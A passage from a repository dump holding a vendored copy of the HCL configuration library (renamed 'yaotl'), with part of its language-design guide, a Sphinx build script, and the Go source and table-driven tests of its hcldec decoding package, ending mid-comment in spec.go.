``length(coll)`` - returns the length of the given collection. * ``lower(str)`` - converts the letters in the given string to lowercase, using Unicode case folding rules. * ``max(numbers...)`` - returns the highest of the given number values. * ``min(numbers...)`` - returns the lowest of the given number values. * ``sethas(set, val)`` - returns true only if the given set has the given value as an element. * ``setintersection(sets...)`` - returns the intersection of the given sets * ``setsubtract(set1, set2)`` - returns a set with the elements from ``set1`` that are not also in ``set2``. * ``setsymdiff(sets...)`` - returns the symmetric difference of the given sets. * ``setunion(sets...)`` - returns the union of the given sets. * ``strlen(str)`` - returns the length of the given string in Unicode grapheme clusters. * ``substr(str, offset, length)`` - returns a substring from the given string by splitting it between Unicode grapheme clusters. * ``timeadd(time, duration)`` - takes a timestamp in RFC3339 format and a possibly-negative duration given as a string like ``"1h"`` (for "one hour") and returns a new RFC3339 timestamp after adding the duration to the given timestamp. * ``upper(str)`` - converts the letters in the given string to uppercase, using Unicode case folding rules. Not all of these functions will make sense in all applications. For example, an application that doesn't use set types at all would have no reason to provide the set-manipulation functions here. Some languages will not provide functions at all, since they are primarily for assigning values to arguments and thus do not need nor want any custom computations of those values. Block Results as Expression Variables ------------------------------------- In some applications, top-level blocks serve also as declarations of variables (or of attributes of object variables) available during expression evaluation, as discussed in :ref:`go-interdep-blocks`. In this case, it's most intuitive for the variables map in the evaluation context to contain an value named after each valid top-level block type and for these values to be object-typed or map-typed and reflect the structure implied by block type labels. For example, an application may have a top-level ``service`` block type used like this: .. code-block:: hcl service "http" "web_proxy" { listen_addr = "127.0.0.1:8080" process "main" { command = ["/usr/local/bin/awesome-app", "server"] } process "mgmt" { command = ["/usr/local/bin/awesome-app", "mgmt"] } } If the result of decoding this block were available for use in expressions elsewhere in configuration, the above convention would call for it to be available to expressions as an object at ``service.http.web_proxy``. If it the contents of the block itself that are offered to evaluation -- or a superset object *derived* from the block contents -- then the block arguments can map directly to object attributes, but it is up to the application to decide which value type is most appropriate for each block type, since this depends on how multiple blocks of the same type relate to one another, or if multiple blocks of that type are even allowed. In the above example, an application would probably expose the ``listen_addr`` argument value as ``service.http.web_proxy.listen_addr``, and may choose to expose the ``process`` blocks as a map of objects using the labels as keys, which would allow an expression like ``service.http.web_proxy.service["main"].command``. If multiple blocks of a given type do not have a significant order relative to one another, as seems to be the case with these ``process`` blocks, representation as a map is often the most intuitive. If the ordering of the blocks *is* significant then a list may be more appropriate, allowing the use of HCL's "splat operators" for convenient access to child arguments. However, there is no one-size-fits-all solution here and language designers must instead consider the likely usage patterns of each value and select the value representation that best accommodates those patterns. Some applications may choose to offer variables with slightly different names than the top-level blocks in order to allow for more concise references, such as abbreviating ``service`` to ``svc`` in the above examples. This should be done with care since it may make the relationship between the two less obvious, but this may be a good tradeoff for names that are accessed frequently that might otherwise hurt the readability of expressions they are embedded in. Familiarity permits brevity. Many applications will not make blocks results available for use in other expressions at all, in which case they are free to select whichever variable names make sense for what is being exposed. For example, a format may make environment variable values available for use in expressions, and may do so either as top-level variables (if no other variables are needed) or as an object named ``env``, which can be used as in ``env.HOME``. Text Editor and IDE Integrations -------------------------------- Since HCL defines only low-level syntax, a text editor or IDE integration for HCL itself can only really provide basic syntax highlighting. For non-trivial HCL-based languages, a more specialized editor integration may be warranted. For example, users writing configuration for HashiCorp Terraform must recall the argument names for numerous different provider plugins, and so auto-completion and documentation hovertips can be a great help, and configurations are commonly spread over multiple files making "Go to Definition" functionality useful. None of this functionality can be implemented generically for all HCL-based languages since it relies on knowledge of the structure of Terraform's own language. Writing such text editor integrations is out of the scope of this guide. The Go implementation of HCL does have some building blocks to help with this, but it will always be an application-specific effort. However, in order to *enable* such integrations, it is best to establish a conventional file extension *other than* `.hcl` for each non-trivial HCL-based language, thus allowing text editors to recognize it and enable the suitable integration. For example, Terraform requires ``.tf`` and ``.tf.json`` filenames for its main configuration, and the ``hcldec`` utility in the HCL repository accepts spec files that should conventionally be named with an ``.hcldec`` extension. For simple languages that are unlikely to benefit from specific editor integrations, using the ``.hcl`` extension is fine and may cause an editor to enable basic syntax highlighting, absent any other deeper features. An editor extension for a specific HCL-based language should *not* match generically the ``.hcl`` extension, since this can cause confusing results for users attempting to write configuration files targeting other applications. ================================================ FILE: teamserver/pkg/profile/yaotl/guide/make.bat ================================================ @ECHO OFF pushd %~dp0 REM Command file for Sphinx documentation if "%SPHINXBUILD%" == "" ( set SPHINXBUILD=sphinx-build ) set SOURCEDIR=. set BUILDDIR=_build set SPHINXPROJ=HCL if "%1" == "" goto help %SPHINXBUILD% >NUL 2>NUL if errorlevel 9009 ( echo. echo.The 'sphinx-build' command was not found. Make sure you have Sphinx echo.installed, then set the SPHINXBUILD environment variable to point echo.to the full path of the 'sphinx-build' executable. Alternatively you echo.may add the Sphinx directory to PATH. echo. echo.If you don't have Sphinx installed, grab it from echo.http://sphinx-doc.org/ exit /b 1 ) %SPHINXBUILD% -M %1 %SOURCEDIR% %BUILDDIR% %SPHINXOPTS% goto end :help %SPHINXBUILD% -M help %SOURCEDIR% %BUILDDIR% %SPHINXOPTS% :end popd ================================================ FILE: teamserver/pkg/profile/yaotl/guide/requirements.txt ================================================ sphinx sphinxcontrib-golangdomain sphinx-autoapi ================================================ FILE: teamserver/pkg/profile/yaotl/hcldec/block_labels.go ================================================ package hcldec import ( "Havoc/pkg/profile/yaotl" ) type blockLabel struct { Value string Range hcl.Range } func labelsForBlock(block *hcl.Block) []blockLabel { ret := make([]blockLabel, len(block.Labels)) for i := range block.Labels { ret[i] = blockLabel{ Value: block.Labels[i], Range: block.LabelRanges[i], } } return ret } ================================================ FILE: teamserver/pkg/profile/yaotl/hcldec/decode.go ================================================ package hcldec import ( "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" ) func decode(body hcl.Body, blockLabels []blockLabel, ctx *hcl.EvalContext, spec Spec, partial bool) (cty.Value, hcl.Body, hcl.Diagnostics) { schema := ImpliedSchema(spec) var content *hcl.BodyContent var diags hcl.Diagnostics var leftovers hcl.Body if partial { content, leftovers, diags = body.PartialContent(schema) } else { content, diags = body.Content(schema) } val, valDiags := spec.decode(content, blockLabels, ctx) diags = append(diags, valDiags...) return val, leftovers, diags } func impliedType(spec Spec) cty.Type { return spec.impliedType() } func sourceRange(body hcl.Body, blockLabels []blockLabel, spec Spec) hcl.Range { schema := ImpliedSchema(spec) content, _, _ := body.PartialContent(schema) return spec.sourceRange(content, blockLabels) } ================================================ FILE: teamserver/pkg/profile/yaotl/hcldec/doc.go ================================================ // Package hcldec provides a higher-level API for unpacking the content of // HCL bodies, implemented in terms of the low-level "Content" API exposed // by the bodies themselves. // // It allows decoding an entire nested configuration in a single operation // by providing a description of the intended structure. // // For some applications it may be more convenient to use the "gohcl" // package, which has a similar purpose but decodes directly into native // Go data types. hcldec instead targets the cty type system, and thus allows // a cty-driven application to remain within that type system. package hcldec ================================================ FILE: teamserver/pkg/profile/yaotl/hcldec/gob.go ================================================ package hcldec import ( "encoding/gob" ) func init() { // Every Spec implementation should be registered with gob, so that // specs can be sent over gob channels, such as using // github.com/hashicorp/go-plugin with plugins that need to describe // what shape of configuration they are expecting. gob.Register(ObjectSpec(nil)) gob.Register(TupleSpec(nil)) gob.Register((*AttrSpec)(nil)) gob.Register((*LiteralSpec)(nil)) gob.Register((*ExprSpec)(nil)) gob.Register((*BlockSpec)(nil)) gob.Register((*BlockListSpec)(nil)) gob.Register((*BlockSetSpec)(nil)) gob.Register((*BlockMapSpec)(nil)) gob.Register((*BlockLabelSpec)(nil)) gob.Register((*DefaultSpec)(nil)) } ================================================ FILE: teamserver/pkg/profile/yaotl/hcldec/public.go ================================================ package hcldec import ( "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" ) // Decode interprets the given body using the given specification and returns // the resulting value. If the given body is not valid per the spec, error // diagnostics are returned and the returned value is likely to be incomplete. // // The ctx argument may be nil, in which case any references to variables or // functions will produce error diagnostics. func Decode(body hcl.Body, spec Spec, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { val, _, diags := decode(body, nil, ctx, spec, false) return val, diags } // PartialDecode is like Decode except that it permits "leftover" items in // the top-level body, which are returned as a new body to allow for // further processing. // // Any descendent block bodies are _not_ decoded partially and thus must // be fully described by the given specification. func PartialDecode(body hcl.Body, spec Spec, ctx *hcl.EvalContext) (cty.Value, hcl.Body, hcl.Diagnostics) { return decode(body, nil, ctx, spec, true) } // ImpliedType returns the value type that should result from decoding the // given spec. func ImpliedType(spec Spec) cty.Type { return impliedType(spec) } // SourceRange interprets the given body using the given specification and // then returns the source range of the value that would be used to // fulfill the spec. // // This can be used if application-level validation detects value errors, to // obtain a reasonable SourceRange to use for generated diagnostics. It works // best when applied to specific body items (e.g. using AttrSpec, BlockSpec, ...) // as opposed to entire bodies using ObjectSpec, TupleSpec. The result will // be less useful the broader the specification, so e.g. a spec that returns // the entirety of all of the blocks of a given type is likely to be // _particularly_ arbitrary and useless. // // If the given body is not valid per the given spec, the result is best-effort // and may not actually be something ideal. It's expected that an application // will already have used Decode or PartialDecode earlier and thus had an // opportunity to detect and report spec violations. func SourceRange(body hcl.Body, spec Spec) hcl.Range { return sourceRange(body, nil, spec) } // ChildBlockTypes returns a map of all of the child block types declared // by the given spec, with block type names as keys and the associated // nested body specs as values. func ChildBlockTypes(spec Spec) map[string]Spec { ret := map[string]Spec{} // visitSameBodyChildren walks through the spec structure, calling // the given callback for each descendent spec encountered. We are // interested in the specs that reference attributes and blocks. var visit visitFunc visit = func(s Spec) { if bs, ok := s.(blockSpec); ok { for _, blockS := range bs.blockHeaderSchemata() { nested := bs.nestedSpec() if nested != nil { // nil can be returned to dynamically opt out of this interface ret[blockS.Type] = nested } } } s.visitSameBodyChildren(visit) } visit(spec) return ret } ================================================ FILE: teamserver/pkg/profile/yaotl/hcldec/public_test.go ================================================ package hcldec import ( "fmt" "reflect" "testing" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" "github.com/zclconf/go-cty/cty" ) func TestDecode(t *testing.T) { tests := []struct { config string spec Spec ctx *hcl.EvalContext want cty.Value diagCount int }{ { ``, &ObjectSpec{}, nil, cty.EmptyObjectVal, 0, }, { "a = 1\n", &ObjectSpec{}, nil, cty.EmptyObjectVal, 1, // attribute named "a" is not expected here }, { "a = 1\n", &ObjectSpec{ "a": &AttrSpec{ Name: "a", Type: cty.Number, }, }, nil, cty.ObjectVal(map[string]cty.Value{ "a": cty.NumberIntVal(1), }), 0, }, { "a = 1\n", &AttrSpec{ Name: "a", Type: cty.Number, }, nil, cty.NumberIntVal(1), 0, }, { "a = 1\n", &DefaultSpec{ Primary: &AttrSpec{ Name: "a", Type: cty.Number, }, Default: &LiteralSpec{ Value: cty.NumberIntVal(10), }, }, nil, cty.NumberIntVal(1), 0, }, { "", &DefaultSpec{ Primary: &AttrSpec{ Name: "a", Type: cty.Number, }, Default: &LiteralSpec{ Value: cty.NumberIntVal(10), }, }, nil, cty.NumberIntVal(10), 0, }, { "a = 1\n", ObjectSpec{ "foo": &DefaultSpec{ Primary: &AttrSpec{ Name: "a", Type: cty.Number, }, Default: &LiteralSpec{ Value: cty.NumberIntVal(10), }, }, }, nil, cty.ObjectVal(map[string]cty.Value{"foo": cty.NumberIntVal(1)}), 0, }, { "a = \"1\"\n", &AttrSpec{ Name: "a", Type: cty.Number, }, nil, cty.NumberIntVal(1), 0, }, { "a = true\n", &AttrSpec{ Name: "a", Type: cty.Number, }, nil, cty.UnknownVal(cty.Number), 1, // incorrect type - number required. }, { ``, &AttrSpec{ Name: "a", Type: cty.Number, Required: true, }, nil, cty.NullVal(cty.Number), 1, // attribute "a" is required }, { ` b { } `, &BlockSpec{ TypeName: "b", Nested: ObjectSpec{}, }, nil, cty.EmptyObjectVal, 0, }, { ` b "baz" { } `, &BlockSpec{ TypeName: "b", Nested: &BlockLabelSpec{ Index: 0, Name: "name", }, }, nil, cty.StringVal("baz"), 0, }, { ` b "baz" {} b "foo" {} `, &BlockSpec{ TypeName: "b", Nested: &BlockLabelSpec{ Index: 0, Name: "name", }, }, nil, cty.StringVal("baz"), 1, // duplicate "b" block }, { ` b { } `, &BlockSpec{ TypeName: "b", Nested: &BlockLabelSpec{ Index: 0, Name: "name", }, }, nil, cty.NullVal(cty.String), 1, // missing name label }, { ``, &BlockSpec{ TypeName: "b", Nested: ObjectSpec{}, }, nil, cty.NullVal(cty.EmptyObject), 0, }, { "a {}\n", &BlockSpec{ TypeName: "b", Nested: ObjectSpec{}, }, nil, cty.NullVal(cty.EmptyObject), 1, // blocks of type "a" are not supported }, { ``, &BlockSpec{ TypeName: "b", Nested: ObjectSpec{}, Required: true, }, nil, cty.NullVal(cty.EmptyObject), 1, // a block of type "b" is required }, { ` b {} b {} `, &BlockSpec{ TypeName: "b", Nested: ObjectSpec{}, Required: true, }, nil, cty.EmptyObjectVal, 1, // only one "b" block is allowed }, { ` b { } `, &BlockAttrsSpec{ TypeName: "b", ElementType: cty.String, }, nil, cty.MapValEmpty(cty.String), 0, }, { ` b { hello = "world" } `, &BlockAttrsSpec{ TypeName: "b", ElementType: cty.String, }, nil, cty.MapVal(map[string]cty.Value{ "hello": cty.StringVal("world"), }), 0, }, { ` b { hello = true } `, &BlockAttrsSpec{ TypeName: "b", ElementType: cty.String, }, nil, cty.MapVal(map[string]cty.Value{ "hello": cty.StringVal("true"), }), 0, }, { ` b { hello = true goodbye = 5 } `, &BlockAttrsSpec{ TypeName: "b", ElementType: cty.String, }, nil, cty.MapVal(map[string]cty.Value{ "hello": cty.StringVal("true"), "goodbye": cty.StringVal("5"), }), 0, }, { ``, &BlockAttrsSpec{ TypeName: "b", ElementType: cty.String, }, nil, cty.NullVal(cty.Map(cty.String)), 0, }, { ``, &BlockAttrsSpec{ TypeName: "b", ElementType: cty.String, Required: true, }, nil, cty.NullVal(cty.Map(cty.String)), 1, // missing b block }, { ` b { } b { } `, &BlockAttrsSpec{ TypeName: "b", ElementType: cty.String, }, nil, cty.MapValEmpty(cty.String), 1, // duplicate b block }, { ` b { } b { } `, &BlockAttrsSpec{ TypeName: "b", ElementType: cty.String, Required: true, }, nil, cty.MapValEmpty(cty.String), 1, // duplicate b block }, { ` b {} b {} `, &BlockListSpec{ TypeName: "b", Nested: ObjectSpec{}, }, nil, cty.ListVal([]cty.Value{cty.EmptyObjectVal, cty.EmptyObjectVal}), 0, }, { ``, &BlockListSpec{ TypeName: "b", Nested: ObjectSpec{}, }, nil, cty.ListValEmpty(cty.EmptyObject), 0, }, { ` b "foo" {} b "bar" {} `, &BlockListSpec{ TypeName: "b", Nested: &BlockLabelSpec{ Name: "name", Index: 0, }, }, nil, cty.ListVal([]cty.Value{cty.StringVal("foo"), cty.StringVal("bar")}), 0, }, { ` b {} b {} b {} `, &BlockListSpec{ TypeName: "b", Nested: ObjectSpec{}, MaxItems: 2, }, nil, cty.ListVal([]cty.Value{cty.EmptyObjectVal, cty.EmptyObjectVal, cty.EmptyObjectVal}), 1, // too many b blocks }, { ` b {} b {} `, &BlockListSpec{ TypeName: "b", Nested: ObjectSpec{}, MinItems: 10, }, nil, cty.ListVal([]cty.Value{cty.EmptyObjectVal, cty.EmptyObjectVal}), 1, // insufficient b blocks }, { ` b { a = true } b { a = 1 } `, &BlockListSpec{ TypeName: "b", Nested: &AttrSpec{ Name: "a", Type: cty.DynamicPseudoType, }, }, nil, cty.DynamicVal, 1, // Inconsistent argument types in b blocks }, { ` b { a = true } b { a = "not a bool" } `, &BlockListSpec{ TypeName: "b", Nested: &AttrSpec{ Name: "a", Type: cty.DynamicPseudoType, }, }, nil, cty.ListVal([]cty.Value{ cty.StringVal("true"), // type unification generalizes all the values to strings cty.StringVal("not a bool"), }), 0, }, { ` b {} b {} `, &BlockSetSpec{ TypeName: "b", Nested: ObjectSpec{}, MaxItems: 2, }, nil, cty.SetVal([]cty.Value{cty.EmptyObjectVal, cty.EmptyObjectVal}), 0, }, { ` b "foo" "bar" {} b "bar" "baz" {} `, &BlockSetSpec{ TypeName: "b", Nested: TupleSpec{ &BlockLabelSpec{ Name: "name", Index: 1, }, &BlockLabelSpec{ Name: "type", Index: 0, }, }, }, nil, cty.SetVal([]cty.Value{ cty.TupleVal([]cty.Value{cty.StringVal("bar"), cty.StringVal("foo")}), cty.TupleVal([]cty.Value{cty.StringVal("baz"), cty.StringVal("bar")}), }), 0, }, { ` b { a = true } b { a = 1 } `, &BlockSetSpec{ TypeName: "b", Nested: &AttrSpec{ Name: "a", Type: cty.DynamicPseudoType, }, }, nil, cty.DynamicVal, 1, // Inconsistent argument types in b blocks }, { ` b { a = true } b { a = "not a bool" } `, &BlockSetSpec{ TypeName: "b", Nested: &AttrSpec{ Name: "a", Type: cty.DynamicPseudoType, }, }, nil, cty.SetVal([]cty.Value{ cty.StringVal("true"), // type unification generalizes all the values to strings cty.StringVal("not a bool"), }), 0, }, { ` b "foo" {} b "bar" {} `, &BlockMapSpec{ TypeName: "b", LabelNames: []string{"key"}, Nested: ObjectSpec{}, }, nil, cty.MapVal(map[string]cty.Value{"foo": cty.EmptyObjectVal, "bar": cty.EmptyObjectVal}), 0, }, { ` b "foo" "bar" {} b "bar" "baz" {} `, &BlockMapSpec{ TypeName: "b", LabelNames: []string{"key1", "key2"}, Nested: ObjectSpec{}, }, nil, cty.MapVal(map[string]cty.Value{ "foo": cty.MapVal(map[string]cty.Value{ "bar": cty.EmptyObjectVal, }), "bar": cty.MapVal(map[string]cty.Value{ "baz": cty.EmptyObjectVal, }), }), 0, }, { ` b "foo" "bar" {} b "bar" "bar" {} `, &BlockMapSpec{ TypeName: "b", LabelNames: []string{"key1", "key2"}, Nested: ObjectSpec{}, }, nil, cty.MapVal(map[string]cty.Value{ "foo": cty.MapVal(map[string]cty.Value{ "bar": cty.EmptyObjectVal, }), "bar": cty.MapVal(map[string]cty.Value{ "bar": cty.EmptyObjectVal, }), }), 0, }, { ` b "foo" "bar" {} b "foo" "baz" {} `, &BlockMapSpec{ TypeName: "b", LabelNames: []string{"key1", "key2"}, Nested: ObjectSpec{}, }, nil, cty.MapVal(map[string]cty.Value{ "foo": cty.MapVal(map[string]cty.Value{ "bar": cty.EmptyObjectVal, "baz": cty.EmptyObjectVal, }), }), 0, }, { ` b "foo" "bar" {} `, &BlockMapSpec{ TypeName: "b", LabelNames: []string{"key"}, Nested: ObjectSpec{}, }, nil, cty.MapValEmpty(cty.EmptyObject), 1, // too many labels }, { ` b "bar" {} `, &BlockMapSpec{ TypeName: "b", LabelNames: []string{"key1", "key2"}, Nested: ObjectSpec{}, }, nil, cty.MapValEmpty(cty.EmptyObject), 1, // not enough labels }, { ` b "foo" {} b "foo" {} `, &BlockMapSpec{ TypeName: "b", LabelNames: []string{"key"}, Nested: ObjectSpec{}, }, nil, cty.MapVal(map[string]cty.Value{"foo": cty.EmptyObjectVal}), 1, // duplicate b block }, { ` b "foo" "bar" {} b "foo" "bar" {} `, &BlockMapSpec{ TypeName: "b", LabelNames: []string{"key1", "key2"}, Nested: ObjectSpec{}, }, nil, cty.MapVal(map[string]cty.Value{"foo": cty.MapVal(map[string]cty.Value{"bar": cty.EmptyObjectVal})}), 1, // duplicate b block }, { ` b "foo" "bar" {} b "bar" "baz" {} `, &BlockMapSpec{ TypeName: "b", LabelNames: []string{"type"}, Nested: &BlockLabelSpec{ Name: "name", Index: 0, }, }, nil, cty.MapVal(map[string]cty.Value{ "foo": cty.StringVal("bar"), "bar": cty.StringVal("baz"), }), 0, }, { ` b "foo" {} `, &BlockMapSpec{ TypeName: "b", LabelNames: []string{"type"}, Nested: &BlockLabelSpec{ Name: "name", Index: 0, }, }, nil, cty.MapValEmpty(cty.String), 1, // missing name }, { ` b {} b {} `, &BlockTupleSpec{ TypeName: "b", Nested: ObjectSpec{}, }, nil, cty.TupleVal([]cty.Value{cty.EmptyObjectVal, cty.EmptyObjectVal}), 0, }, { ``, &BlockTupleSpec{ TypeName: "b", Nested: ObjectSpec{}, }, nil, cty.EmptyTupleVal, 0, }, { ` b "foo" {} b "bar" {} `, &BlockTupleSpec{ TypeName: "b", Nested: &BlockLabelSpec{ Name: "name", Index: 0, }, }, nil, cty.TupleVal([]cty.Value{cty.StringVal("foo"), cty.StringVal("bar")}), 0, }, { ` b {} b {} b {} `, &BlockTupleSpec{ TypeName: "b", Nested: ObjectSpec{}, MaxItems: 2, }, nil, cty.TupleVal([]cty.Value{cty.EmptyObjectVal, cty.EmptyObjectVal, cty.EmptyObjectVal}), 1, // too many b blocks }, { ` b {} b {} `, &BlockTupleSpec{ TypeName: "b", Nested: ObjectSpec{}, MinItems: 10, }, nil, cty.TupleVal([]cty.Value{cty.EmptyObjectVal, cty.EmptyObjectVal}), 1, // insufficient b blocks }, { ` b { a = true } b { a = 1 } `, &BlockTupleSpec{ TypeName: "b", Nested: &AttrSpec{ Name: "a", Type: cty.DynamicPseudoType, }, }, nil, cty.TupleVal([]cty.Value{ cty.True, cty.NumberIntVal(1), }), 0, }, { ` b { a = true } b { a = "not a bool" } `, &BlockTupleSpec{ TypeName: "b", Nested: &AttrSpec{ Name: "a", Type: cty.DynamicPseudoType, }, }, nil, cty.TupleVal([]cty.Value{ cty.True, cty.StringVal("not a bool"), }), 0, }, { ` b "foo" {} b "bar" {} `, &BlockObjectSpec{ TypeName: "b", LabelNames: []string{"key"}, Nested: ObjectSpec{}, }, nil, cty.ObjectVal(map[string]cty.Value{"foo": cty.EmptyObjectVal, "bar": cty.EmptyObjectVal}), 0, }, { ` b "foo" "bar" {} b "bar" "baz" {} `, &BlockObjectSpec{ TypeName: "b", LabelNames: []string{"key1", "key2"}, Nested: ObjectSpec{}, }, nil, cty.ObjectVal(map[string]cty.Value{ "foo": cty.ObjectVal(map[string]cty.Value{ "bar": cty.EmptyObjectVal, }), "bar": cty.ObjectVal(map[string]cty.Value{ "baz": cty.EmptyObjectVal, }), }), 0, }, { ` b "foo" "bar" {} b "bar" "bar" {} `, &BlockObjectSpec{ TypeName: "b", LabelNames: []string{"key1", "key2"}, Nested: ObjectSpec{}, }, nil, cty.ObjectVal(map[string]cty.Value{ "foo": cty.ObjectVal(map[string]cty.Value{ "bar": cty.EmptyObjectVal, }), "bar": cty.ObjectVal(map[string]cty.Value{ "bar": cty.EmptyObjectVal, }), }), 0, }, { ` b "foo" "bar" {} b "foo" "baz" {} `, &BlockObjectSpec{ TypeName: "b", LabelNames: []string{"key1", "key2"}, Nested: ObjectSpec{}, }, nil, cty.ObjectVal(map[string]cty.Value{ "foo": cty.ObjectVal(map[string]cty.Value{ "bar": cty.EmptyObjectVal, "baz": cty.EmptyObjectVal, }), }), 0, }, { ` b "foo" "bar" {} `, &BlockObjectSpec{ TypeName: "b", LabelNames: []string{"key"}, Nested: ObjectSpec{}, }, nil, cty.EmptyObjectVal, 1, // too many labels }, { ` b "bar" {} `, &BlockObjectSpec{ TypeName: "b", LabelNames: []string{"key1", "key2"}, Nested: ObjectSpec{}, }, nil, cty.EmptyObjectVal, 1, // not enough labels }, { ` b "foo" {} b "foo" {} `, &BlockObjectSpec{ TypeName: "b", LabelNames: []string{"key"}, Nested: ObjectSpec{}, }, nil, cty.ObjectVal(map[string]cty.Value{"foo": cty.EmptyObjectVal}), 1, // duplicate b block }, { ` b "foo" "bar" {} b "foo" "bar" {} `, &BlockObjectSpec{ TypeName: "b", LabelNames: []string{"key1", "key2"}, Nested: ObjectSpec{}, }, nil, cty.ObjectVal(map[string]cty.Value{"foo": cty.ObjectVal(map[string]cty.Value{"bar": cty.EmptyObjectVal})}), 1, // duplicate b block }, { ` b "foo" "bar" {} b "bar" "baz" {} `, &BlockObjectSpec{ TypeName: "b", LabelNames: []string{"type"}, Nested: &BlockLabelSpec{ Name: "name", Index: 0, }, }, nil, cty.ObjectVal(map[string]cty.Value{ "foo": cty.StringVal("bar"), "bar": cty.StringVal("baz"), }), 0, }, { ` b "foo" {} `, &BlockObjectSpec{ TypeName: "b", LabelNames: []string{"type"}, Nested: &BlockLabelSpec{ Name: "name", Index: 0, }, }, nil, cty.EmptyObjectVal, 1, // missing name }, { ` b "foo" { arg = true } b "bar" { arg = 1 } `, &BlockObjectSpec{ TypeName: "b", LabelNames: []string{"type"}, Nested: &AttrSpec{ Name: "arg", Type: cty.DynamicPseudoType, }, }, nil, cty.ObjectVal(map[string]cty.Value{ "foo": cty.True, "bar": cty.NumberIntVal(1), }), 0, }, } for i, test := range tests { t.Run(fmt.Sprintf("%02d-%s", i, test.config), func(t *testing.T) { file, parseDiags := hclsyntax.ParseConfig([]byte(test.config), "", hcl.Pos{Line: 1, Column: 1, Byte: 0}) body := file.Body got, valDiags := Decode(body, test.spec, test.ctx) var diags hcl.Diagnostics diags = append(diags, parseDiags...) diags = append(diags, valDiags...) if len(diags) != test.diagCount { t.Errorf("wrong number of diagnostics %d; want %d", len(diags), test.diagCount) for _, diag := range diags { t.Logf(" - %s", diag.Error()) } } if !got.RawEquals(test.want) { t.Errorf("wrong result\ngot: %#v\nwant: %#v", got, test.want) } }) } } func TestSourceRange(t *testing.T) { tests := []struct { config string spec Spec want hcl.Range }{ { "a = 1\n", &AttrSpec{ Name: "a", }, hcl.Range{ Start: hcl.Pos{Line: 1, Column: 5, Byte: 4}, End: hcl.Pos{Line: 1, Column: 6, Byte: 5}, }, }, { ` b { a = 1 } `, &BlockSpec{ TypeName: "b", Nested: &AttrSpec{ Name: "a", }, }, hcl.Range{ Start: hcl.Pos{Line: 3, Column: 7, Byte: 11}, End: hcl.Pos{Line: 3, Column: 8, Byte: 12}, }, }, { ` b { c { a = 1 } } `, &BlockSpec{ TypeName: "b", Nested: &BlockSpec{ TypeName: "c", Nested: &AttrSpec{ Name: "a", }, }, }, hcl.Range{ Start: hcl.Pos{Line: 4, Column: 9, Byte: 19}, End: hcl.Pos{Line: 4, Column: 10, Byte: 20}, }, }, } for i, test := range tests { t.Run(fmt.Sprintf("%02d-%s", i, test.config), func(t *testing.T) { file, diags := hclsyntax.ParseConfig([]byte(test.config), "", hcl.Pos{Line: 1, Column: 1, Byte: 0}) if len(diags) != 0 { t.Errorf("wrong number of diagnostics %d; want %d", len(diags), 0) for _, diag := range diags { t.Logf(" - %s", diag.Error()) } } body := file.Body got := SourceRange(body, test.spec) if !reflect.DeepEqual(got, test.want) { t.Errorf("wrong result\ngot: %#v\nwant: %#v", got, test.want) } }) } } ================================================ FILE: teamserver/pkg/profile/yaotl/hcldec/schema.go ================================================ package hcldec import ( "Havoc/pkg/profile/yaotl" ) // ImpliedSchema returns the *hcl.BodySchema implied by the given specification. // This is the schema that the Decode function will use internally to // access the content of a given body. func ImpliedSchema(spec Spec) *hcl.BodySchema { var attrs []hcl.AttributeSchema var blocks []hcl.BlockHeaderSchema // visitSameBodyChildren walks through the spec structure, calling // the given callback for each descendent spec encountered. We are // interested in the specs that reference attributes and blocks. var visit visitFunc visit = func(s Spec) { if as, ok := s.(attrSpec); ok { attrs = append(attrs, as.attrSchemata()...) } if bs, ok := s.(blockSpec); ok { blocks = append(blocks, bs.blockHeaderSchemata()...) } s.visitSameBodyChildren(visit) } visit(spec) return &hcl.BodySchema{ Attributes: attrs, Blocks: blocks, } } ================================================ FILE: teamserver/pkg/profile/yaotl/hcldec/spec.go ================================================ package hcldec import ( "bytes" "fmt" "sort" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/ext/customdecode" "github.com/zclconf/go-cty/cty" "github.com/zclconf/go-cty/cty/convert" "github.com/zclconf/go-cty/cty/function" ) // A Spec is a description of how to decode a hcl.Body to a cty.Value. // // The various other types in this package whose names end in "Spec" are // the spec implementations. The most common top-level spec is ObjectSpec, // which decodes body content into a cty.Value of an object type. type Spec interface { // Perform the decode operation on the given body, in the context of // the given block (which might be null), using the given eval context. // // "block" is provided only by the nested calls performed by the spec // types that work on block bodies. decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) // Return the cty.Type that should be returned when decoding a body with // this spec. impliedType() cty.Type // Call the given callback once for each of the nested specs that would // get decoded with the same body and block as the receiver. This should // not descend into the nested specs used when decoding blocks. visitSameBodyChildren(cb visitFunc) // Determine the source range of the value that would be returned for the // spec in the given content, in the context of the given block // (which might be null). If the corresponding item is missing, return // a place where it might be inserted. sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range } type visitFunc func(spec Spec) // An ObjectSpec is a Spec that produces a cty.Value of an object type whose // attributes correspond to the keys of the spec map. type ObjectSpec map[string]Spec // attrSpec is implemented by specs that require attributes from the body. type attrSpec interface { attrSchemata() []hcl.AttributeSchema } // blockSpec is implemented by specs that require blocks from the body. type blockSpec interface { blockHeaderSchemata() []hcl.BlockHeaderSchema nestedSpec() Spec } // specNeedingVariables is implemented by specs that can use variables // from the EvalContext, to declare which variables they need. type specNeedingVariables interface { variablesNeeded(content *hcl.BodyContent) []hcl.Traversal } // UnknownBody can be optionally implemented by an hcl.Body instance which may // be entirely unknown. type UnknownBody interface { Unknown() bool } func (s ObjectSpec) visitSameBodyChildren(cb visitFunc) { for _, c := range s { cb(c) } } func (s ObjectSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { vals := make(map[string]cty.Value, len(s)) var diags hcl.Diagnostics for k, spec := range s { var kd hcl.Diagnostics vals[k], kd = spec.decode(content, blockLabels, ctx) diags = append(diags, kd...) } return cty.ObjectVal(vals), diags } func (s ObjectSpec) impliedType() cty.Type { if len(s) == 0 { return cty.EmptyObject } attrTypes := make(map[string]cty.Type) for k, childSpec := range s { attrTypes[k] = childSpec.impliedType() } return cty.Object(attrTypes) } func (s ObjectSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { // This is not great, but the best we can do. In 